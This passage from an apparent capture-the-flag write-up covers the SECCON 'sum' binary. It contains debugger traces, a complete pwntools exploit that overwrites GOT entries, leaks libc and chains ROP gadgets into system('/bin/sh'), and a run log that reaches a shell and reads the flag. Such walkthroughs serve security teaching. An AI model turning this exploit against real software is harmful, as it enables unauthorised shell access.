STEP───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────[#0] 0x400a43 → __libc_csu_init()[#1] 0x400a43 → __libc_csu_init()[#2] 0x7fab33435440 → test rdi, rdi────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────0x0000000000400a43 in __libc_csu_init ()gef➤  s[ Legend: Modified register | Code | Heap | Stack | String ]───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────$rax   : 0x0               $rbx   : 0x0               $rcx   : 0x0               $rdx   : 0x18              $rsp   : 0x00007ffd12150f20  →  0x0000000000400a43  →  <__libc_csu_init+99> pop rdi$rbp   : 0x00007ffd12150f60  →  0x00007ffd12150f90  →  0x00007ffd12150fe0  →  0x00007ffd12151030  →  0x00000000004009e0  →  <__libc_csu_init+0> push r15$rsi   : 0xff5666dcfd1d    $rdi   : 0x00000000004009c4  →  <main+193> mov eax, 0x0$rip   : 0x0000000000400a44  →  <__libc_csu_init+100> ret$r8    : 0x0               $r9    : 0x0               $r10   : 0x00007fab33584cc0  →  0x0002000200020002$r11   : 0x0000000000400a6c  →   add BYTE PTR [rax], al$r12   : 0x0000000000400670  →  <_start+0> xor ebp, ebp$r13   : 0x00007ffd12151110  →  0x0000000000000001$r14   : 0x0               $r15   : 0x0               $eflags: [zero CARRY parity ADJUST SIGN trap INTERRUPT direction overflow resume virtualx86 identification]$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────0x00007ffd12150f20│+0x0000: 0x0000000000400a43  →  <__libc_csu_init+99> pop rdi     ← $rsp0x00007ffd12150f28│+0x0008: 0x00007fab33599e9a  →  0x0068732f6e69622f ("/bin/sh"?)0x00007ffd12150f30│+0x0010: 0x00007fab33435440  →  <system+0> test rdi, rdi0x00007ffd12150f38│+0x0018: 0x00000000000000000x00007ffd12150f40│+0x0020: 0x00000000000000000x00007ffd12150f48│+0x0028: 0x00007ffd12150f50  →  0x0000ff5666dcfd1d0x00007ffd12150f50│+0x0030: 0x0000ff5666dcfd1d0x00007ffd12150f58│+0x0038: 0xc21062d171a89f00─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────     0x400a3e <__libc_csu_init+94> pop    r13     0x400a40 <__libc_csu_init+96> pop    r14     0x400a42 <__libc_csu_init+98> pop    r15 →   0x400a44 <__libc_csu_init+100> ret       ↳    0x400a43 <__libc_csu_init+99> pop    rdi        0x400a44 <__libc_csu_init+100> ret            0x400a45                  nop            0x400a46                  nop    WORD PTR cs:[rax+rax*1+0x0]        0x400a50 <__libc_csu_fini+0> repz   ret        0x400a52                  add    BYTE PTR [rax], al─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: SINGLE STEP───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────[#0] 0x400a44 → __libc_csu_init()[#1] 0x400a43 → __libc_csu_init()[#2] 0x7fab33435440 → test rdi, rdi────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────0x0000000000400a44 in __libc_csu_init ()gef➤  ```
Then we have the rop gadget to through the address of `/bin/sh` into `rdi`, and return to system:```───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────0x00007ffd12150f28│+0x0000: 0x00007fab33599e9a  →  0x0068732f6e69622f ("/bin/sh"?)     ← $rsp0x00007ffd12150f30│+0x0008: 0x00007fab33435440  →  <system+0> test rdi, rdi0x00007ffd12150f38│+0x0010: 0x00000000000000000x00007ffd12150f40│+0x0018: 0x00000000000000000x00007ffd12150f48│+0x0020: 0x00007ffd12150f50  →  0x0000ff5666dcfd1d0x00007ffd12150f50│+0x0028: 0x0000ff5666dcfd1d0x00007ffd12150f58│+0x0030: 0xc21062d171a89f000x00007ffd12150f60│+0x0038: 0x00007ffd12150f90  →  0x00007ffd12150fe0  →  0x00007ffd12151030  →  0x00000000004009e0  →  <__libc_csu_init+0> push r15     ← $rbp─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── →   0x400a43 <__libc_csu_init+99> pop    rdi     0x400a44 <__libc_csu_init+100> ret         0x400a45                  nop         0x400a46                  nop    WORD PTR cs:[rax+rax*1+0x0]     0x400a50 <__libc_csu_fini+0> repz   ret     0x400a52                  add    BYTE PTR [rax], al─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: SINGLE STEP───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────[#0] 0x400a43 → __libc_csu_init()[#1] 0x7fab33435440 → test rdi, rdi────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────0x0000000000400a43 in __libc_csu_init ()gef➤  s[ Legend: Modified register | Code | Heap | Stack | String ]───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────$rax   : 0x0               $rbx   : 0x0               $rcx   : 0x0               $rdx   : 0x18              $rsp   : 0x00007ffd12150f30  →  0x00007fab33435440  →  <system+0> test rdi, rdi$rbp   : 0x00007ffd12150f60  →  0x00007ffd12150f90  →  0x00007ffd12150fe0  →  0x00007ffd12151030  →  0x00000000004009e0  →  <__libc_csu_init+0> push r15$rsi   : 0xff5666dcfd1d    $rdi   : 0x00007fab33599e9a  →  0x0068732f6e69622f ("/bin/sh"?)$rip   : 0x0000000000400a44  →  <__libc_csu_init+100> ret$r8    : 0x0               $r9    : 0x0               $r10   : 0x00007fab33584cc0  →  0x0002000200020002$r11   : 0x0000000000400a6c  →   add BYTE PTR [rax], al$r12   : 0x0000000000400670  →  <_start+0> xor ebp, ebp$r13   : 0x00007ffd12151110  →  0x0000000000000001$r14   : 0x0               $r15   : 0x0               $eflags: [zero CARRY parity ADJUST SIGN trap INTERRUPT direction overflow resume virtualx86 identification]$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────0x00007ffd12150f30│+0x0000: 0x00007fab33435440  →  <system+0> test rdi, rdi     ← $rsp0x00007ffd12150f38│+0x0008: 0x00000000000000000x00007ffd12150f40│+0x0010: 0x00000000000000000x00007ffd12150f48│+0x0018: 0x00007ffd12150f50  →  0x0000ff5666dcfd1d0x00007ffd12150f50│+0x0020: 0x0000ff5666dcfd1d0x00007ffd12150f58│+0x0028: 0xc21062d171a89f000x00007ffd12150f60│+0x0030: 0x00007ffd12150f90  →  0x00007ffd12150fe0  →  0x00007ffd12151030  →  0x00000000004009e0  →  <__libc_csu_init+0> push r15     ← $rbp0x00007ffd12150f68│+0x0038: 0x00000000004009ac  →  <main+169> mov rax, QWORD PTR [rbp-0x10]─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────     0x400a3e <__libc_csu_init+94> pop    r13     0x400a40 <__libc_csu_init+96> pop    r14     0x400a42 <__libc_csu_init+98> pop    r15 →   0x400a44 <__libc_csu_init+100> ret       ↳  0x7fab33435440 <system+0>       test   rdi, rdi      0x7fab33435443 <system+3>       je     0x7fab33435450 <system+16>      0x7fab33435445 <system+5>       jmp    0x7fab33434eb0      0x7fab3343544a <system+10>      nop    WORD PTR [rax+rax*1+0x0]      0x7fab33435450 <system+16>      lea    rdi, [rip+0x164a4b]        # 0x7fab33599ea2      0x7fab33435457 <system+23>      sub    rsp, 0x8─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: SINGLE STEP───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────[#0] 0x400a44 → __libc_csu_init()[#1] 0x7fab33435440 → test rdi, rdi────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────0x0000000000400a44 in __libc_csu_init ()gef➤  x/s $rdi0x7fab33599e9a:    "/bin/sh"gef➤  ```
## Exploit
Putting it all together, we have the following exploit:```from pwn import *
# Establish the target#target = remote("sum.chal.seccon.jp", 10001)target = process('sum_ccafa40ee6a5a675341787636292bf3c84d17264', env={"LD_PRELOAD":"./libc.so"})#gdb.attach(target, gdbscript='b *0x4009bf\nb *0x4009a7')
# Establish the libc / binary fileself = ELF('sum_ccafa40ee6a5a675341787636292bf3c84d17264')libc = ELF("libc.so")
# Establish some needed addressesmain = elf.symbols['main']
popRdi = 0x400a43
# A function to handle the qword writesdef write(adr, value):    target.sendline("9223372036854775807")    target.sendline(str(0x7fffffffffffffff - adr))    target.sendline("1")    target.sendline("1")    target.sendline(str(value))
    target.sendline(str(adr))
# Overwrite got address of exit with the starting address of mainwrite(elf.got['exit'], main)
# Overwrite got address of printf with popRdi gadgetwrite(elf.got['printf'], popRdi)
# Rop chain to leak libc via puts(got_puts)target.sendline(str(popRdi))                # pop rdi to make puts calltarget.sendline(str(elf.got['puts']))       # got address of puts, argument to puts calltarget.sendline(str(elf.symbols['puts']))   # plt address of putstarget.sendline(str(0x4009a7))              # address of `call exit`, to bring us back to start of maintarget.sendline("0")                        # 0 to end number sequence
# Scan in output of program, to make it to the infoleakfor i in range(0, 18):    print target.recvline()
# Scan in and parse out infoleak, figure out where libc base isleak = target.recvline().strip("\n")leak = u64(leak + "\x00"*(8 - len(leak)))base = leak - libc.symbols["puts"]
print "base is: " + hex(base)
# Rop chain to call system("/bin/sh")target.sendline(str(popRdi))                        # pop rdi to make system calltarget.sendline(str(base + 0x1b3e9a))               # binsh libc addresstarget.sendline(str(base + libc.symbols["system"])) # libc address of system, which we will return totarget.sendline("0")                                # 0 to end sequence
target.interactive()```
When we run it:```$    python exploit.py[+] Opening connection to sum.chal.seccon.jp on port 10001: Done[*] '/home/guyinatuxedo/Desktop/seccon/sum/sum_ccafa40ee6a5a675341787636292bf3c84d17264'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      No PIE (0x400000)[*] '/home/guyinatuxedo/Desktop/seccon/sum/libc.so'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabled[sum system]
Input numbers except for 0.
0 is interpreted as the end of sequence.
[Example]
2 3 4 0
[sum system]
Input numbers except for 0.
0 is interpreted as the end of sequence.
[Example]
2 3 4 0
[sum system]
Input numbers except for 0.
0 is interpreted as the end of sequence.
[Example]
2 3 4 0
base is: 0x7f796623c000[*] Switching to interactive mode[sum system]Input numbers except for 0.0 is interpreted as the end of sequence.
[Example]2 3 4 0$ w 20:42:25 up 18:10,  0 users,  load average: 0.02, 0.01, 0.00USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT$ lsbinbootdevetcflag.txthomeliblib64mediamntoptprocrootrunsbinsrvstart.shsumsystmpusrvar$ cat flag.txtSECCON{ret_call_call_ret??_ret_ret_ret........shell!}$  ```
Just like that, we pwned the challenge!